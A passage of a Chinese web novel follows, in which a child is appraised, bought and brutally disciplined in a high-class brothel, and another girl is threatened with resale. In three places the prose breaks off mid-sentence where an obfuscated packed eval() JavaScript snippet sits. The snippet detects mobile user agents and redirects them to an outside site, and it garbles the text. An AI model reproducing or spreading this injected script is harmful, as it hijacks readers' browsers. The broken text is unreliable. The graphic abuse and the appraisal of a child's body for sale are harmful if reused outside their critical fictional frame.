姜晗的牙齿发黄,但是排列得很整齐。陈妈妈微微点了点头,牙黄可以靠清洁和保养改善,牙若长得歪七扭八就麻烦了。 “手臂抬起来。” 陈妈妈弯下腰,鼻子细细闻了闻小姑娘的腋下,除了身上脏衣服的怪味以外,并没有如狐臭之类的异味,算是过关了。 执起姜晗的手,细细摸了摸。没有八岁女孩该有的细嫩,定是干活造成的。好在骨节不明显,还有肉窝窝。十指纤直修长,与手掌成龙吞虎之相。指尖稍圆,指甲硬实坚韧,包着肉的部分窄长饱满。 陈妈妈很喜欢这双手,只要养白嫩就好看得很。世人只以为手指得越细越尖才好,却不知那样的手若弹琴就得吃苦头了。 一双妙手在于白皙光滑,柔软如棉,并拢无缝,肉能包骨,盈润而不粗,纤长而不柴。既能抚琴绣花,也能染甲显精致,佩指环显富丽。 陈妈妈低头,望向姜晗破洞草鞋中露出的脚,透过表面的水泡和老茧,她看出这是玲珑中稍微带点肉嘟嘟的双足。 青楼老鸨们非常清楚男人的喜好。他们喜欢美丽的手和可爱的脚。洁净、小巧、微肉、香软的才是上品玉足,不过一定要在看着匀称的基础上。太胖显笨拙,太瘦显干柴,太小让人以为走路不稳当,还没大脚丫子实在。过犹不及的都是下乘。 吟书班老鸨的要求则更高。 陈妈妈蹲下身观察。 足背很高,足弓不高也不塌。脚趾很平直,前三根几乎齐平,后两根呈斜线向下,甲型方圆。这是一双适合跳舞的脚。 看过手脚,陈妈妈又细细测量姜晗的身体。 矮了些,但这不是问题,大多数女孩儿十岁左右才窜个子。过于单薄瘦弱了,不要紧,多吃点好的,长肉还不容易? 头脸小,脖子长,手腕过臀,下身比上身长了五寸,臂展比身长多了近两寸,身材比例称得上这批姑娘里最好的。 骨架偏小,可又不是完全的小,肩胯都略宽些。盘骨偏短,凫臀圆翘,肩膀呈现柔润舒展的轻微弧度,胸部如何发育现在没法判断。 陈妈妈已经很惊喜了,这身架子可谓万里挑一的种性。等将来个子抽条长了肉,很可能是纤细不失丰腴的匀亭,既有娇柔感又撑得起华服。 面容脱俗,身段世俗,才是最惑人的尤物。 奇货可居也。 8. 妈妈 姜晗仿佛置身解剖台。 陈妈妈的眼睛里没有恶意,没有戏谑,有的是严肃,偶尔露出真切的欣喜。 软尺在姜晗的身上游走着,视线在姜晗的身上流动着。 她仿佛听见皮肉被寸寸划开的声音,在软尺的冰凉和视线的滑腻里被拆解成一块块肉块,最后又在堪称和蔼的笑容里,肉块重新组成了躯体。 “如何?这孩子不错吧。”矮瘦男人兴冲冲地问。 “模样不错,可光有模样还不行,我得问她几个问题。”陈妈妈的语气难掩开怀。 老乌头皱眉,“这么麻烦?” 陈妈妈道:“这儿是占春芳,一等一的吟书班,我的验看可不是只看脸。放心,随便问问而已,就算她答不上来,也不代表我不要她。” 说着,陈妈妈递给姜晗一个鲜艳的香囊,让她辨认颜色和图案。 姜晗知道,这里是青楼。她更知道,如果自己被放弃,很快就会落到五老太手里。 成功留下,是眼前唯一的生路。她必须表现得好一些,让这个刚刚“解剖”自己的“大夫”满意。 压下不适,姜晗逼迫自己把注意力放在香囊上,“大红、桃红、鹅黄、碧绿、深棕……鸳鸯、莲花、水浪……” “答得很好,你观察得很仔细。”陈妈妈称赞,又在桌上撒了一把铜板。 矮瘦男人见了,不禁伸手要去拿,被陈妈妈一把拍开,“不是给你的。” 转而问姜晗,“你觉得有多少枚?” “看上去有四五十枚,但没数过,不确定。” “那你就去数一数。” 姜晗走到桌前,把不同面值的铜板分开,然后五个一叠理好。 “一共四十八枚,一文铜板三十六枚,二文铜板十枚,两分铜板两枚,一共五十六文四分。” 陈妈妈有些意外,这孩子竟然还懂点算术。 “是个识数的。” 这时,又有人拿出一团乱糟糟的丝线,陈妈妈道:“不许弄断它们,把它们一根根理顺。” 姜晗觉得这很简单。 在蜜水村时,弟弟总喜欢把她绩好绕成团的麻线弄乱,害她平白多出理麻线的活,做多了就习惯了。丝线无非材质不同,上手轻些就行。 一盏茶不到的功夫,姜晗便理顺了。 “倒是心细手巧。” 陈妈妈用布条蒙上了姜晗的眼睛,让人端出几碗加了香料和调味的水,命姜晗触碰水碗告知冷热,尝一口告知味道,还要求她指出哪几碗水气味相同。 这种基本的感知,姜晗作为正常人当然毫无问题。 但陈妈妈的验看还没结束,她没有解下蒙眼的布条,而是命人敲了一下石磬。 “声音是从哪个方向传来的?” 姜晗对着左边一指。 陈妈妈又命人弹了一个琴音。 “这个声音哪个方向来的?和你之前听到的一样吗?” 姜晗对着右前方指了指,“一样又不一样,不是同一个东西发出的,但却是一样的音。” 闻言,陈妈妈讶异,她只想知道这孩子能不能辨认声音种类和声音方向,没想到她主动分辨了音准。 又一个石磬音响起。 “这和你之前听到的一样吗?” 姜晗指了指左边,“和第一个声音是同一个东西,但更低。” 陈妈妈眯了眯眼,让琴师一一拨动七根琴弦。 “记住这七个琴音,接下来,我要你判断乐师弹奏的是哪一个音。” 琴师拨动了一下琴弦。 “第三个。” 又拨动了琴弦。 “第六个。” 陈妈妈眼神示意,石磬和琴同时响起。 “右二左五。” 陈妈妈心下大喜。 “这姑娘我要了。”她非常满意,也不问价,直接道:“来人,拿四十贯钱来。看这孩子身上,又是伤又是灰的,太可怜了,快把她带下去好好清理一番。还有,把她的头发都剃了,小姑娘哪能这样蓄头发,得重新留头。” 四十贯?! 矮瘦男人和老乌头对视一眼,都笑得嘴都合不拢。幸亏没卖给五老太,否则少赚整整五贯钱。 梳洗干净的姜晗被带到一间装饰华丽的屋子,里头还有二十来个和她打扮一样的女童。其中一个长得格外漂亮,艳赛玫瑰,气质矜贵,姜晗第一眼就注意到了她。 很快,陈妈妈进了屋,笑得灿烂,“这呀,叫占春芳,从今天开始,就是你们的家了。我呢,姓陈,以后就是你们的妈妈了。只要你们好好学习,听妈妈的话,妈妈呀,一定会疼你们的。来,都叫声妈妈听听。” “妈妈。”脆生生的女儿音,极是动听。 姜晗张了张嘴,却怎么也开不了口。 女人走到姜晗面前,笑道,“怎么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478612|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫呀?来,叫声妈妈听听。” 姜晗嘴唇动了动。 女人敛了笑,“叫。” 姜晗低头不言。 “哼,还以为你懂事,不想是个犟种。好,我就喜欢你这样的犟种。来呀,打!” 两个魁梧男人走了进来。 一人把挣扎的姜晗按在地上,另一人狠狠拿着鞭子狠狠抽打。 “叫妈妈。” 呵,不就是抽鞭子嘛,又不是没被抽过。 一刻钟过去了,见姜晗嘴闭得和蚌壳一样,女人冷笑,“是个有骨气的,给她加点料。” 有人提着一桶水走了进来。 水中散发的辛辣气味刺激着姜晗的鼻子和眼睛。 “这可不是辣椒水,是楼里的秘方,叫附骨水。抽在人身上,那是别有滋味。给我狠狠打,不许伤着脸。” “是。” 男人将鞭子浸过附骨水,高高扬起。 “啊!” 姜晗一声惨呼,把其他的女童吓得脸色发白。 疼,太疼了。 痛辣似炸开的烟花,一大朵一大朵地绽放。绽放后,余下了无数的光点,化作细细的针刺,更有一种难忍的痒,让姜晗满地打滚,不停地挠着身体,却无济于事。 一条条红痕映在衣衫上,远远看去,像一条条血色的蜈蚣,百足爬行着,撕咬着,痒与疼,从肌肤渗进骨头,往缝里钻,往血管里钻。 “叫妈妈。” 不,我不叫。 “叫妈妈。” 她好像看见妈妈在厨房忙碌的身影,闻到了最喜欢的葱?大排的味道。 不能叫。 “叫妈妈。” 那场大火,那个决绝的身影,那个在自己每个被殴打的夜晚,给予自己的温暖怀抱。 不要叫。 “叫妈妈。” 现代的场景,蜜水村的场景,在姜晗面前光影般交错着、晃荡着。 “叫妈妈。” 鞭子呼啦啦地抽打着,姜晗翻滚着,她伸手,想要抓住漂浮的光影。 女人见她如此倔强,抢过手下的鞭子,亲自抽打。 “叫妈妈,叫妈妈,给我叫,给我叫!” 鞭风呼啸着。 让姜晗眷恋的光影,她快触碰…… 啪。 鞭子停了。 “妈……妈。” 光碎了。 9. 清白与自由 宜章县有条红夜街,但是宜章的人们从不叫它红夜街,只称它为花街。 花街不止在宜章,它在天下每一个说得出名字的州郡和数不清的说不出名字的小巷。它们林立着秦楼,层叠着楚馆,看得人眼花缭乱。 然而不管是秦楼还是楚馆,再动听也无非是妓院二字罢了。 妓院中的妓女,命运就像花街的排布,七零八落地分散着,被一座座城镇和一道道勾缝拆解地支离破碎。 这种支离破碎,被文人墨客起了个好听的名字,谓之情味。 茶一盏,酒一樽,曲一首,这情味便来了。妙笔生花那么一转,便是一出跌宕故事,讨一声笑,赚一滴泪,再由时光回锅那么一煮,便有了一出风尘传奇。 然而不是所有的情味都能做传奇。更多的时候,情味只是枕边的玉臂和朱唇,掀开床幔就能抛个一干二净。抛到门前的水沟,一脚踩上去,只嫌污浊,哪里还记得从前的模样? 文人墨客的笔下,情味分三六九等。塑造情味的妓院,自然也分三六九等。 第一等的,称做吟书班。 它与普通妓院不同,是个有出身的所在。 吟书班属教坊管辖,其中的女子均为乐籍中的官妓。与教坊直接负责的地方乐营也不同,吟书班盈亏自负,教坊既不干预经营,也不干预姑娘的选择和教养。唯一干预的,是三年一次的评定。只有通过评定,才能继续用吟书班的名号。通不过,则从吟书班除名。 青楼从吟书班除名,可是姑娘不会因为青楼的除名而脱离教坊司,她们会被抛进各地的乐营。 之所以会有吟书班这么一个特殊的存在,是因为南晟四十年前出的一条规定:官员不得狎妓。 新规只有六个字,但如何解释,可谓众说纷纭。首先,就是对妓的定义,尤其是对官妓、营妓、家妓的争议。有人反驳,是官伎、营伎、家伎,伎不是妓。 掩耳盗铃,偏旁改得了,境遇改不了。 卖艺不卖身的清倌人只是个饶有趣味的噱头,标榜的“清白”无非是区别于红倌人的身价罢了。人们会因为红倌人不“清白”而鄙夷不屑,却不会因为清倌人“清白”而高看一眼。 伎可同妓,倡可同娼。撕破了喉咙高喊清清白白,也是喊给装睡的人听。 装睡的人比谁都知道,什么才是“清清白白”。 比如官员不得狎妓,得遵守,遵守了才称得上“清白”。 问题来了,狎妓中的妓如果包括了官妓和营妓,那是不是就得把教坊司给裁撤了?笑话,教坊司可是隶属礼部,礼部那是最知晓礼义廉耻的地方。撤教坊司,这就是和礼部、和礼教为敌,实在不当人子! 再说世家官宦,谁没养些个家妓?把家妓都遣散了,宴会时没有了歌舞表演,就听一群喝高了的大老爷儿们争相自吹自擂吗? 所以,有人就提出了,这个妓,它不是广义,是狭义,应该专指民妓娼寮之流。 不得不说,这个解释实在是妙。 青红皂白,水浊水清,瞬间泾渭分明。 只是,人总是不知足的。官妓基本是由犯官家眷和战俘组成,这哪够?可民妓的野花不能采,怎么办?偷采上不了台面,“清清白白”地采,方能登大雅之堂。 如何“清白”? 首先兴起的,是象姑馆,又称小倌馆。不能狎妓,没说不能狎小倌吧。 只是,更多性取向正常的官员,对象姑馆着实不感冒,更有一些官员,水陆两面通。 吟书班便应运而生了。 归了教坊司管,就不能算民妓了,但教坊司也就是个甩手掌柜,倒也有民妓之实。如此一来,两全其美。 不过甩手掌柜也是掌柜,吟书班得有格调,这便有了评定。 因此,吟书班的姑娘无不色艺双绝。三年一次的评定更是坊间盛事。外头没被评上的青楼想要吟书班的名号,里头已经被评上的不想丢了吟书班的名号,是一座只想进不想出的怪城,可谓是所有妓院中最内卷的存在。 她们,便是情味席上的主菜。 第二等的,叫做堂子。 从这一等开始,姑娘们皆为民妓。堂子的姑娘,是情味的点心。各个青春正好,颇通文艺。虽不及主菜用料名贵,功夫考究,却也是精致细巧。 第三等的,唤作下处。 这儿的姑娘,只能算是小菜。较前二者,大多不是容貌平常,就是上了年纪。有的曾经也是风光一时的名妓,但年岁渐长,花颜不再,没找到后路,又留不住客人,就被不愿养闲人的老鸨转卖到了此处。 小菜虽不起眼,偶尔也会出现几道惊艳的菜色,鲜美可口不弱于堂子甚至吟书班。只是过于讲究时鲜,过了时候,便成了腌菜,色老味冲,尝两筷子,便丢在了一旁。 第四等的,唤作花烟间。自此,便再无情味可言了。这些个和力巴脚夫调笑的女子,就是情味爱好者眼中的泔水,污秽不堪。 最末一等的,唤作钉棚,其凄惨难以言表。其可怜,从不入情味的话本。 占春芳是一等的吟书班,是整个兴州最大最红火的吟书班,甚至能与京城和吴州这两处繁华风流地的吟书班一较高下。南晟能越过占春芳的吟书班,不会超一掌之数。因而姑娘身价之高,远非他处可比。 和占春芳里排名最末的姑娘一块儿,就算单纯喝茶,也要十两银子。 搁三十年前,十两银子能买四亩上等水田,搁现在,也能让五口之家的庄户人半年吃穿不愁了。 “明白了吧,这就是你们将来的日子,穿金戴银,万人追捧。哪怕你没出息,你的一杯茶也比别人金贵。”陈妈妈对所有姑娘道。 “我知道,你们虽然小,但不少人的脑子里被灌输了些没用的东西。周围的人告诉你们,将来要做贤妻良母,将来要勤俭持家,将来要吃苦耐劳,这都是赤裸裸的谎言。” “留在占春芳,你们会书写最美妙的诗篇,与你们一同吟诵词曲的,是世家贵胄与文豪。你们的指尖会奏响最动听的音乐,你们将拥有黄莺般的歌喉,拥有最动人的体态和舞姿,接受千千万万人的仰慕。你们可以尽情地追逐美丽,放肆地挥洒魅力,让人嫉妒,让人竞相效仿。” “不要羡慕官家小姐。她们中的很多人,没你们漂亮,也没你们有钱。她们的锦衣玉食,你们会有。你们的万人追捧,她们一辈子都求不到。她们将来只不过是贵胄屋里的摆设和管家,只能拥有令人生厌的枯萎黄面,只能挽断罗衣祈求丈夫的垂怜。” “你们不同,你们是她们丈夫眼中的红颜,是能互诉衷肠的知己,是一掷千金也在所不惜的珍宝。” 又来了。 这洗脑,这话术,不去电诈园区做个高管可惜了。 姜晗忍住翻白眼的冲动。 来到占春芳已有一个半月。这一个半月里,日子比想象的还不美好。 所有女孩都必须遵照严格的作息安排。 每日卯初必须起床梳洗。卯正开始,有半个时辰的时间吃早饭。辰初直到巳正,一个半时辰都是学习礼仪。之后休息两刻钟也就是半小时,再学习半个时辰的礼仪。午初二刻开始用午饭。 午正二刻到未正二刻,学习一个时辰的蒙学,再休息两刻钟。申初到酉初,一个半时辰的,从头发丝到脚趾甲的全身无死角的保养。保养完毕后,有一个半时辰都可以自由安排,再之后半个时辰是固定的沐浴时间。 没有专门的晚饭,不过占春芳会提供点心和调饮。 洗完澡后,就可以睡觉了,但是别以为睡觉就是放松。 占春芳的睡觉别出心裁。 枕头比正常的细窄不少,还略高一些。躺在上面并不舒服,找不到正确的支撑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478613|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点或者不能保持正确的姿势的话,第二天醒来,要么头离开了枕头,要么肩颈酸痛。 这还不止。睡前,占春芳的下人会在枕头和被子四周撒上一圈白米,白米圈内就是睡着时允许翻身活动的范围,睡醒后如果白米杂乱,是要挨打的。这一切,就是为了让人睡觉时也必须保持优雅。 姜晗不是没想过提前起床,偷偷将白米整理好。可惜道高一尺魔高一丈,每间房里,晚上都有一个丫鬟和一个身体强健的嬷嬷打地铺。美其名曰守夜和伺候,实际就是监视。运气不好,对白米做手脚被发现,可不是一顿打那么简单的了,而是会受一种名为困立锁的惩罚。 所谓困立锁,就是用三根铁链子,把人绑在特制的粗大木桩子上。链子都很短。第一根链子绑在人的脖子上,第二根链子绑在受罚者背着的双手手腕上,最后一根链子绑在脚上。三根链子的另一端都连着木桩,木桩每隔一段高度都有一个孔洞,施刑人会让链子穿过不同高度的孔洞,让人维持半蹲的状态。你想站起身,不行,因为短链子拴着你,你站不起来还勒脖子,你想坐下,也不行,因为同样的原因。 想靠着木桩减轻痛苦?木桩上都是铁钉。 姜晗见过有人受这样折磨人的惩罚后,歇了在白米上做手脚的心思。 日复一日都是如此,除了十一和二十六两日,姜晗就没休息过。这样的日子,要过六年。六年后,年满十四的会登台表演,被安排接客。不满十四的,只登台,不接客。 幸亏她这辈子是个高精力人,在蜜水村和流浪时过得更艰辛,已经习惯了。换成上辈子那个下班回家就瘫成狗的身体,就算没被打死卖掉,早晚也会累死。 除了学习,每天还需面对的就是陈妈妈的洗脑。 辰初时的礼仪练习,开始半个时辰都是头顶一碗水,双腿夹着一张纸在树荫下练习静站。静站的同时,耳朵要承受陈妈妈翻来翻去的陈词滥调。 姜晗想过逃跑,可占春芳压根就不给她机会。她们这些女童不能离开规定的活动范围,前些日子倒是有两个大胆的姑娘兵行险招,意料之中都被抓住了。 没有办法,只能等待。 南晟教坊司规定,官妓年满十四方可接客。 这意味着,若想保持贞洁,姜晗有六年的时间规划逃跑。 对此,姜晗嗤之以鼻,脑子得裹多小才这么想?保不了贞洁就不配逃跑不配活命?逛青楼的瓢虫都能活得好,凭什么青楼女子不配? 况且,规定是规定。如果有权有势的非要不满十四的官妓接客,真的能拒绝吗? 所谓的贞洁维持期限,就是自欺欺人而已。 逃离,没有期限。 只是若要逃,有两个问题。第一,如何逃,第二,逃之后怎么办。 相比较如何逃,或许逃之后才是更大的麻烦。 没有身份文书,寸步难行,除非加入流民大军。青楼是三教九流的一环,一旦发现有人逃跑,楼里的打手龟奴、外头的流氓乞丐,都会成为追捕者。说不定,还有沆瀣一气的衙役。更可怕的,是隐于暗处的,诸如老乌头、五老太等人。 一想到他们,一想到那个人间地狱,一想到那个独眼男人的眼睛,飕飕寒气从脚心窜到了天灵。 “占春芳的女子,是全天下最自由的女子!” 陈妈妈慷慨激昂的高亢嗓音,把姜晗吓了一跳,好在头顶的水碗没掉。 自由? 姜晗嗤笑,自由你怎么不放我走?自由你为什么要用鞭子?自由你为什么逼我叫你妈妈? 自由?谁信呐。 想是这么想,但姜晗脸上故意露出思索的表情,还在眼中添加了一丝向往之意。 因为,这副神情是陈妈妈需要的。 演技真是人类自带的天赋。 咣啷一声,打断了陈妈妈的演讲。 10. 云裳 一个姑娘没有站稳,头上的水碗掉了下来。 有好奇的,转头去看。这么一动,她们脑袋上的水碗也都掉了下来。 “不许动!重新倒水,都给我好好站。” 陈妈妈走到那最先掉碗的姑娘面前,拧她的脸,“又是你,好呀,你真是白长了张漂亮脸蛋儿啊。” 摔碗女孩儿就是那个艳如玫瑰的姑娘,名唤云裳,这是陈妈妈给她起的。所有入了占春芳的女孩儿,都会有一个新花名。 云裳吃痛,眼泪水直打转。 “论长相,你格外出挑,妈妈我可是对你寄予厚望。你倒好,光长漂亮脸蛋儿不长脑子,书读不好,字写不好,站都站不住,什么都学不会。这是你第几次摔碗了?你说!我昨日再三叮嘱,今日有非常重要的贵客要来,万万不能出错。你是故意和我作对啊!罚了那么多次,还是不长记性,我要你干什么?就你这样的,我也甭指望发财了,老本都得赔个精光。” 陈妈妈气得用指甲尖儿掐小姑娘的手臂。 云裳疼得尖叫,大哭出声。 陈妈妈冷笑,“哭要哭得好看,要哭得让人心疼。你这鬼哭狼嚎,硬生生把漂亮脸蛋折腾丑,哪个男人会喜欢?我都觉得恶心。我这庙小,容不下你这尊大佛。这么笨,别的吟书班和堂子,估计不会要你,也就下处的人要你了。” 一听这话,云裳吓得浑身一哆嗦,她抹了抹眼泪,“你……你不能卖我。” “不能卖?”陈妈妈一副你有病的模样,“从没听说过老鸨不能卖姑娘的。” 云裳倔强道:“吟书班的姑娘都是隶属教坊司的官妓,只有教坊司可以处置我,你不能。” 陈妈妈眯了眯眼,“看来,你脑子很清楚嘛。” 她弯下腰,抓着云裳的小发鬏往上一拽,迫使小姑娘抬头,“既然不是笨蛋,怎么可能读不好书?莫非之前都是装的?” 云裳眼中的紧张一闪而过,被陈妈妈敏锐察觉到。 “果然是装的。”陈妈妈摸了摸对方的脸,“这批姑娘里,你来时的皮肤就比别人细腻白皙得多,平日里定是养尊处优,原本可是官宦人家的女儿?” 云裳的身子震了震,目光尽是悲伤和怨恨。 “难怪有几分见识。”陈妈妈称赞着,眼中却并无笑意。 陈妈妈没说错,云裳的确出身官宦人家,甚至,她的家族曾为一县之豪,从曾祖父开始,代代为县官。虽说这家世在顶级世家面前和寒门无异,但也不是真正的寒门能比的。 南晟世家分六等。三世三公者谓膏粱;三世三品者谓华腴;三世四品京官或为地方刺史者,谓甲等;三世五品京官或郡守者,谓乙等;三世州郡高级佐官者,谓丙等;三世县级正员者,谓丁等。丁等之下,乃是寒门。 云裳的家便是丁等之家。 可惜家中犯事,父亲和叔伯兄弟都掉了脑袋。朝廷开恩没有牵连部分女眷,云裳赫然是其中的幸运儿,但家产都被抄个精光。她和母亲去投靠舅舅,却不想路上母亲病逝,她自己则被拐子卖进了占春芳。 朝廷没让她沦为官妓,现实却让人沦落风尘。 陈妈妈松开抓着云裳的手,直起了腰,慢悠悠道:“但你想过没有,你的名字还没送到教坊司那儿。” 官妓的身份需要官方认可和一系列程序。首先,需要先用卖身契和乐籍文书给官府查验,官府审核无误,通报教坊司。教坊司确认后办相应手续,才会列入官妓名单。 陈妈妈手中,当然有这批姑娘的“合规”卖身契和乐籍文书,只不过还没送交官府查验。 以她的习惯,一般等三年左右安排。 就像云裳说的,一旦手底下的姑娘们成了官妓,陈妈妈不能随意处置。三年的时间,所有人的成色都一览无余。成色不足的,骨相发育不好有长残可能的,赶紧卖了止损。 没有成官妓是件好事,可对现在的云裳而言,这并不是一件好事。 “你不是官妓,我想怎么处置,就怎么处置。” 云裳一下子瘫倒在地。 为什么和自己想的不一样?她原以为,只要自己藏巧露拙,陈妈妈就会打消让自己接客的念头。哪怕是做苦役,至少能保住清白之身,也算不堕世家之女的名声。运气若好,碰上父亲从前的旧识,说不定能彻底脱离苦海。如今,非但没有如自己所愿,竟然还要沦落更不堪的境地?老鸨怎么能这么做? 陈妈妈没心思理会云裳的痛苦,她拍了拍手,让人把云裳拖下去。 见自己真要沦入比占春芳更腌臜的所在,一时无法的九岁女孩儿顾不得尊严,一把抱住陈妈妈的腿,“不,不!妈妈,我不去下处,我不去。” “别叫我妈妈。”陈妈妈一脚踹倒小姑娘,“我可没福气能有你这么个女儿。” “不,求您了,我不能去那儿,我不去。” 陈妈妈呵了一声,低头捏住云裳的下巴,“不去下处,你想去哪儿?花烟间?还是钉棚?” “不不不。”云裳连连摇头,哽咽道,“妈妈您想挣钱,我能帮你,我能帮您挣钱,真的。” “哦,怎么挣?说出来听听。” 陈妈妈如此问,云裳觉得有了一丝希望,她急切道:“我会算术,我从前跟在我娘身边,看过她理事,我可以给您打下手。我会做得很好的。求求您,留下我,不要卖了我。” 陈妈妈愣了愣,继而大笑不止,笑得眼泪都出来了。 “合着我花钱买回一个账房先生?管账目挣钱?我放着经验老道的账房先生不用,用你这么个丫头片子?等你挣到本钱,姑奶奶我都要半躺进棺材啦!我买了你,我不能卖你倒要让你做账房先生?青楼的姑娘不去接客去账房?那谁去接客?我吗?” 陈妈妈活这么久,第一次听到这么可笑的事。 “你当我开善堂的?做梦!你读过书,会写字,装不会,这是耍我。我发卖你,你还顶嘴,我若连你都处置不了,这占春芳我也不用开了。我告诉你,你不闹刚刚这一出,我还不一定卖你。你既然耍我还顶撞我,一顿附骨水鞭子你是逃不了的。抽完了,再卖去下处。” 其实,陈妈妈不会因为姑娘的反抗而轻易放弃她们。 前段时日抓住两个偷跑的,打一顿扔柴房里饿上三天,就老实了。 当初的姜晗,死活不肯叫妈妈,陈妈妈表面恼火,实际内心并无多少怒意。 要知道,每一批新来的女童总有那么几个脾气倔的刺头。陈妈妈风尘打滚这么多年,见多了,有的是招儿。 刺头越早出现越好,能起到很好的震慑效果。 不能被驯服的刺头自然卖去别的地方。 能被驯服的刺头,那就不叫刺头了,叫榜样。 陈妈妈看着从头到尾没有摔碗,一直站得稳稳当当的姜晗,十分满意。 看吧,真吃过苦头,就知道什么该做什么不该做了。 但像云裳这样,有小算盘,敢挑战她权威还不识时务的,再优秀,陈妈妈也要扔掉。 她已经忍了很久了。 这批姑娘里,陈妈妈最重视姜晗和云裳。二人不止模样最拔尖,验看测试时也很出众。言语得体,条理清晰,且各具优点。姜晗的身体条件和音感,云裳与生俱来的气质,都让陈妈妈关注。 云裳被人贩子带来时,目光傲然,陈妈妈验看时问话,她根本不理会。后来被人贩子威胁再不认真表现就卖去钉棚,云裳才老实。 当时的陈妈妈并没有觉得傲是冒犯,反而觉得这姑娘有一种天生的贵气。 正因看重,陈妈妈对姜晗和云裳的容忍度比较高。如果学得慢,练得差,罚自然是罚的,但是惩罚的强度比其他姑娘小得多。比如打藤条, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478614|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打同样的数,但是打她二人力度最轻。 可是,忍耐是有限度的。 姜晗这段时日受罚都是八爪鱼般的豪放睡姿引起的。挨了几次打,睡觉已经文雅多了。 云裳呢?隔三差五都要出错。这姑娘明明在验看测试时能说会算,结果读起书练起礼仪来,却比那些个不机灵的还差,显然是有问题的。 别看陈妈妈刚刚问云裳出身,其实她早就猜到了云裳的来历。风尘里历练的眼可是很尖的,落难隐藏身份的官家千金,举止仪态和穷苦人家的女儿有很大差异,更不用说云裳通身的气派太惹眼了。 只要是官宦之女,必然接受过教育。 南晟尚才,在这儿,脚大脚小不影响成家,但如果哪家官宦之女不读书不通礼仪,就真的很难嫁出去了。 哪怕是周棠吴陆这四姓膏粱世家的贵女,就算不愁嫁,可若不通文墨,也会被同阶层的人所鄙。 女儿家如果有诗文流传在外,不仅不会被批判,反而会被称颂。 云裳作为官宦之女,最晚六岁也启蒙了。她今年九岁,不可能在家时没上过学。 这样高的出错频率,开始几日还可以认为是难以调整状态,次次都这样,定然是装的。 不过陈妈妈并没有马上戳穿,在云裳如此大半个月后,她关照下人,云裳再出错,惩罚力度就和其他姑娘一样,甚至可以更大些。她想着用这种现实的待遇落差让云裳意识到问题。 可是云裳依然毫无长进。 平日倒还罢了,今天这个重要的日子,还来这么一出,陈妈妈不打算忍了,要新账旧账一起算。 怒火在云裳用乐籍制度反抗时到达了巅峰,又在云裳用学管账逃避时,失望如泥石流般滚落。 金玉其外败絮其中的东西,白费了她的苦心。 对这么个徒有其表,只知耍小聪明,还敢挑战自己权威的玩意儿,剩下的唯一作用就是做教具了。 也让所有还心存侥幸的姑娘看看,云裳这模样的她陈妈妈都说卖就卖,不如云裳漂亮的,表现又不好的,可都得掂量掂量了,别落得下场更惨。 当然了,陈妈妈是生意人。 买云裳花了四十贯,算上一个半月的衣食花销,五十贯能回本。下处那些不差钱但是没好货的老鸨肯定抢着要,尤其是丽香堂的老鸨,花钱最大方,五十五贯定是能卖的。 云裳这种货色,往常根本轮不到去下处。就算有下处老鸨偶从人贩那儿得了极品,十之有九都会被堂子和吟书班截胡。她们比谁都巴望着吟书班的淘汰者。只是比起人贩的“价廉物美”,吟书班老鸨出价定然更高。 陈妈妈转脸对着众人冷冷道:“你们是我花钱买来的,派不上用场就给我滚。不要以为你们每个人都能在这儿待满六年。占春芳不需要废物。不长进的废物就该扔掉。” 就在她要让人把云裳拖下去的时候,心腹许妈对她耳语道,“花迎使马上就要来了。若这小丫头有几分天赋,花迎使知道您把她卖了,怕是不好。不如先绑在一边,若是被看中,算这丫头的造化。若看不中,再卖不迟。” 陈妈妈皱眉思索了一会儿,轻声说:“你说的有几分道理,可是,这贱丫头如不惩处,将来这群小蹄子就难管了。” “您已经将名单报上去了,花迎使发现对不上,您不好交代。况且她住的院子离这儿近,没准已经知道发生了什么。您看,是不是等她来后,再行处置?” 云裳不知二人在说什么,她只绝望地哭求着。 陈妈妈却让人把她绑起来丢在了一边。 旁观的小女孩,有害怕的,有难过的,有茫然的,也有幸灾乐祸的。 幸灾乐祸的姑娘头不小心动了一下,脑袋上的水碗又掉在了地上。 陈妈妈满脸阴云,走到那女孩面前,“蕊衣,你也想去下处是吗?” 11. 蕊衣 陈妈妈揪起蕊衣的耳朵,“废物,云裳学不好是装的,你可是真的烂泥扶不上墙啊。云裳之后,下一个未必不是你。” 蕊衣疼得大叫。 陈妈妈呵斥:“不许嚎!” 松开揪耳朵的手,狠狠一甩,蕊衣退了两步,没站稳,摔在了地上。 蕊衣吃痛,双腿一伸,张大嘴哇哇哭。 陈妈妈扶额,心里的火蹭蹭往上涨。 自己当初怎么就瞎了眼,买了这个丫头。 这个蕊衣是七天前进占春芳的。 